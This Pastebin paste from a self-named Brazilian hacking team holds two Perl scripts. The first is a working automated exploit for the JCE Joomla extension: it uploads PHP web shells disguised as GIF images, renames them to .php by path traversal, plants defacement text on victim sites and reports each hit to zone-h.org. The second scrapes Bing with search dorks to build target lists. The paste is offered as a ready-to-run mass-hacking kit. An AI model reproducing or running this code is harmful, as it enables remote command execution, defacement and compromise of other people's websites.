API tools faq
paste
Advertisement
Guest User

BOTS HIGHTECH BRAZIL HACKTEAM!

a guest
Jan 24th, 2014
1,833
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.79 KB | None | 0 0
raw download clone embed print report
  1. [1]
  2.  
  3. #!/usr/bin/perl -W
  4.  
  5. use Socket;
  6. use IO::Socket;
  7. use IO::Socket::INET;
  8. use LWP::UserAgent;
  9. use HTTP::Request::Common qw(POST);
  10. use HTTP::Request::Common qw(GET);
  11. $ag = LWP::UserAgent->new();
  12. $ag->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  13. $ag->timeout(10);
  14. #Recodado por No\One
  15. #print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";
  16. #print "\t|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net) ||||\n\n";
  17.  
  18. if($0 =~ /^(.*)\\(.+)$/){chomp($a = $2);}else{chomp($a = $0);}
  19.  
  20. if(!defined($ARGV[0])) { print "\n * Modo de usar => $a lista.txt ou $a -s www.site.com.br \n"; exit; }
  21.  
  22. $TXT = $ARGV[0]; if($TXT eq "-s"){@TXT = $ARGV[1]; $aq = $ARGV[1];
  23. if(!defined($ARGV[1])) { print "\n\n * Modo de usar => $a lista.txt ou $a -s www.site.com\n\n"; exit; }
  24. }else{open(TXT,"<$TXT"); chomp(@TXT=<TXT>); close(TXT); $aq = $ARGV[0];}
  25. $tx = $#TXT+1;
  26. print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.2 .::.\n\n";
  27.  
  28. $ok = '0'; $erro = '0';
  29. site: foreach(@TXT){ chomp(my $site = $_);
  30. $cm=''; $porra = '0';
  31. if($site =~ /http:\/\/(.*)\/(.*)\//){$site = $1; $cm = $2;
  32. }elsif($site =~ /http:\/\/(.*)\/(.*)/){$site = $1; $cm = $2;
  33. }elsif($site =~ /https:\/\/(.*)\/(.*)\//){$site = $1; $cm = $2;
  34. }elsif($site =~ /https:\/\/(.*)\/(.*)/){$site = $1; $cm = $2;
  35. }elsif($site =~ /http:\/\/(.*)\//){$site = $1;
  36. }elsif($site =~ /http:\/\/(.*)/){$site = $1;
  37. }elsif($site =~ /https:\/\/(.*)\//){$site = $1;
  38. }elsif($site =~ /https:\/\/(.*)/){$site = $1;
  39. }elsif($site =~ /(.*)\/(.*)\//){$site = $1; $cm = $2;
  40. }elsif($site =~ /(.*)\/(.*)/){$site = $1; $cm = $2;
  41. }elsif($site =~ /(.*)\//){$site = $1;}
  42.  
  43. $http = 'http://'; $porta = "80";
  44.  
  45. $script = '/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20';
  46. $up = '/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b';
  47.  
  48. print "\n>> $site ->";
  49. $cs++;
  50. system "title $a $aq - [ $cs\/$tx ] =-= Zone-H [ OK ($ok) ~ ERRO ($erro) ]";
  51. ############################################### Packet 1 --> Checando falha
  52. if($cm){ $script = '/'."$cm"."$script"; $up = '/'."$cm"."$up"; }
  53.  
  54. $pageURL= "$http"."$site"."$script";
  55. $getp = $ag->request(HTTP::Request->new(GET => $pageURL));
  56. $get = $getp->content;
  57. if($get !~ m/multipart\/form-data|hastip|\/plugins\/editors\/jce\//g){ print " [!]"; next site;}
  58.  
  59. my @index = (
  60. '../../xk.txt',
  61. '../../xh.txt',
  62. '../../ck.htm',
  63. '../../tmp/x.html',
  64. '../../cache/x.html',
  65. '../x.html',
  66. '../../tmp/ck.htm',
  67. '../../cache/ck.htm',
  68. '../ck.htm',
  69. '../xxx.php',
  70. '../xxu.php');
  71.  
  72. if($cm){push(@index,'../../../x.htm','../../../x.html','../../../x.php','../../../xk.txt','../../../xh.txt','../../../ck.htm');}
  73.  
  74. push(@index,'../../x.php','../../x.php');
  75.  
  76. foreach(@index){
  77. chomp(my $indx = $_);
  78. $porra++;
  79.  
  80. if($indx =~ /xk/){ $narq = 'arti'."$porra";
  81. $cont = 'Invasão feita por HighTech';}
  82.  
  83. if($indx =~ /xh/){ $narq = 'not'."$porra";
  84. $cont = 'Invasão feita por HighTech';}
  85.  
  86. if($indx =~ /configuration/){ $narq = 'clor'."$porra";
  87. $cont = 'Invasão feita por HighTech<?php exit;?>';}
  88.  
  89. if($indx =~ /index|ck/){ $narq = 'plas'."$porra";
  90. $cont = 'Invasão feita por HighTech';}
  91.  
  92. if($indx =~ /xxx/){ $narq = 'gligie'."$porra";
  93. $cont = 'GIF89a
  94. <?php system("$_GET[cmd]"); exit; ?>';}
  95.  
  96. if($indx =~ /xxu/){ $narq = 'tir'."$porra";
  97. $cont = 'GIF89a u
  98. <?php @copy($_FILES[file][tmp_name], $_FILES[file][name]); exit; ?>';}
  99.  
  100.  
  101. #print "\n\n $indx - $narq \n$cont \n\n----------------------------------------------";
  102.  
  103.  
  104. ############################################### Packet 2 --> Upando como um arquivo .gif
  105. $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site" ,PeerPort=>"$porta", Timeout=>"10") or " Erro!" and next site;
  106. print $remote "POST $up HTTP/1.1"."\n";
  107. print $remote "Host: $site"."\n";
  108. print $remote "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801"."\n";
  109. print $remote "Content-Type: multipart/form-data; boundary=---------------------------41184676334"."\n";
  110. print $remote "Content-Length: 769"."\n\n";
  111. print $remote "-----------------------------41184676334"."\n";
  112. print $remote 'Content-Disposition: form-data; name="upload-dir"'."\n\n";
  113. print $remote '/'."\n";
  114. print $remote "-----------------------------41184676334"."\n";
  115. print $remote 'Content-Disposition: form-data; name="Filedata"; filename=""'."\n";
  116. print $remote 'Content-Type: application/octet-stream'."\n\n\n";
  117. print $remote "-----------------------------41184676334"."\n";
  118. print $remote 'Content-Disposition: form-data; name="upload-overwrite"'."\n\n";
  119. print $remote "0"."\n";
  120. print $remote "-----------------------------41184676334"."\n";
  121. print $remote 'Content-Disposition: form-data; name="Filedata"; filename="'.$narq.'.gif"'."\n";
  122. print $remote 'Content-Type: image/gif'."\n\n";
  123. print $remote "$cont"."\n";
  124. print $remote "-----------------------------41184676334"."\n";
  125. print $remote 'Content-Disposition: form-data; name="upload-name"'."\n\n";
  126. print $remote "$narq"."\n";
  127. print $remote "-----------------------------41184676334"."\n";
  128. print $remote 'Content-Disposition: form-data; name="action"'."\n\n";
  129. print $remote 'upload'."\n";
  130. print $remote "-----------------------------41184676334--"."\n\n";
  131. close($remote);
  132.  
  133. ############################################### Packet 3 --> Mudando nome de estenxão de .gif para .php
  134. $remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site" ,PeerPort=>"$porta", Timeout=>"10") or " Erro!" and next site;
  135. $json = 'json={"fn":"folderRename","args":["'.$narq.'.gif","'.$indx.'"]}';
  136. print $remote "POST $script HTTP/1.1"."\n";
  137. print $remote "Host: $site"."\n";
  138. print $remote "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801"."\n";
  139. print $remote 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'."\n";
  140. print $remote 'X-Request: JSON'."\n";
  141. print $remote "Content-Length: ".length($json).""."\n\n";
  142. print $remote "$json"."\n\n";
  143. #while(<$remote>){print "$_";}
  144. close($remote);
  145. }
  146. ############################################### Packet 4 --> Checando resultado do upload
  147. my @xxx=('/images/xxu.php','/images/xxx.php');
  148. if($cm){ push(@xxx,'/'."$cm".'/images/xxu.php','/'."$cm".'/images/xxx.php'); }
  149. foreach(@xxx){
  150. $shc = 'http://'."$site"."$_";
  151. my $resc=$ag->request(HTTP::Request->new(GET => $shc));
  152. $respc = $resc->content;
  153. if($respc =~ m/GIF89a/g){ open(SHU,">>SH.txt"); print SHU "$shc\n"; close(SHU); } }
  154.  
  155. my @indxs = ('/','/ck.htm','/xk.txt','/xh.txt','/tmp/','/cache/','/images/','/tmp/ck.htm','/cache/ck.htm','/images/ck.htm');
  156. if($cm){
  157. push(@indxs,'/'."$cm".'/','/'."$cm".'/ck.htm','/'."$cm".'/xk.txt','/'."$cm".'/xh.txt','/'."$cm".'/tmp/','/'."$cm".'/cache/','/'."$cm".'/images/','/'."$cm".'/tmp/ck.htm','/'."$cm".'/cache/ck.htm','/'."$cm".'/images/ck.htm')}
  158.  
  159. foreach(@indxs){ chomp(my $iind = $_);
  160.  
  161. $urst = 'http://'."$site"."$iind";
  162. my $res=$ag->request(HTTP::Request->new(GET => $urst));
  163. $resp = $res->content;
  164. if($resp =~ m/HighTech/g){ $sthckd = "$site"."$iind";
  165. $sockz = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => "80", Proto => "tcp") or next;
  166. print $sockz "POST /notify/single HTTP/1.0\r\n";
  167. print $sockz "Accept: */*\r\n";
  168. print $sockz "Referer: http://www.zone-h.org/notify/single\r\n";
  169. print $sockz "Accept-Language: pt-br\r\n";
  170. print $sockz "Content-Type: application/x-www-form-urlencoded\r\n";
  171. print $sockz "Connection: Keep-Alive\r\n";
  172. print $sockz "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801\r\n";
  173. print $sockz "Host: www.zone-h.org\r\n";
  174. $length=length("defacer=HighTech&domain1=http%3A%2F% 2F$sthckd&hackmode=17&reason=1");
  175. print $sockz "Content-Length: $length\r\n";
  176. print $sockz "Pragma: no-cache\r\n";
  177. print $sockz "\r\n";
  178. print $sockz "defacer=HighTech&domain1=http%3A%2F%2F$sthckd&hackmode=17&reason=1\r\n";
  179. $zn = join('',<$sockz>);
  180. if($zn =~ m/ERROR:/g){print " [ Zone-H ] ".$http.$sthckd." [ ERRO ]"; $erro++;}else{print " [ Zone-H ] ".$http.$sthckd." [ OK ]"; $ok++;}
  181. close($sockz);
  182. open(HCKDS,">>HCKDS.txt"); print HCKDS "$http"."$sthckd\n"; close(HCKDS);
  183. $sthckd = ''; $hk++; next site;}
  184. } }
  185.  
  186. if(!$hk){$hk=0;}if(!$ok){$ok=0;}if(!$erro){$erro=0;}
  187. if($hk){
  188. print "\n\n [ Total Hacked -> $hk -#- Enviado pro Zone-h -> $ok -#- Erro ao enviar pro zone -> $erro ]\n\n";}
  189.  
  190.  
  191. ------------------------------------------------------------------------------------------------------------
  192.  
  193. [2]
  194.  
  195. #!/usr/bin/perl
  196.  
  197. use LWP::UserAgent;
  198. use HTTP::Request::Common qw(GET);
  199. $ag = LWP::UserAgent->new();
  200. $ag->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  201. $ag->timeout(10);
  202.  
  203. chomp(my $dork = $ARGV[0]);
  204. system "title Pesquisando = $dork";
  205. for ($i = 1; $i <= 10000; $i+=10){
  206. $url = "http://www.bing.com/search?q=$dork&go=&qs=ds&filt=all&first=$i&FORM=PERE";
  207. $resp = $ag->request(HTTP::Request->new(GET => $url));
  208. $rrs = $resp->content;
  209.  
  210. while($rrs =~ m/<a href=\"?http:\/\/(.*?)\//g){
  211. $link = $1;
  212. if ( $link !~ /overture|msn|live|bing|yahoo|duckduckgo|google|yahoo|microsof/){
  213. if ($link !~ /^http:/){$link = 'http://' . "$link" . '/';}
  214. if($link !~ /\"|\?|\=|index\.php/){
  215. print "\n\t $link";
  216. push(@resul,$link);}} }
  217.  
  218. while($rrs =~ m/<a href=\"?http:\/\/(.*?[\/].*?)\//g){
  219. $link = $1;
  220. if ( $link !~ /overture|msn|live|bing|yahoo|duckduckgo|google|yahoo|microsof/){
  221. if ($link !~ /^http:/){$link = 'http://' . "$link" . '/';}
  222. if($link !~ /\"|\?|\=|index\.php/){
  223. print "\n\t $link";
  224. push(@resul,$link);}} }
  225.  
  226. if ($rrs !~ m/class=\"sb_pagN\"/g){
  227. $total = $#resul+1;
  228. open(TXTS,"<rRS.txt"); chomp(@ar = <TXTS>); close(TXTS); push(@resul,@ar);
  229. open (TXT,">rRS.txt");
  230. foreach(@resul){$c{$_}++;next if $c{$_} > 1;print TXT "$_\n";push(@arq,$_);}
  231. close(TXT);
  232. $arq=$#arq+1;
  233. print "\n\n Total Resultado $total , total em arquivo $arq\n"; exit; }
  234. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!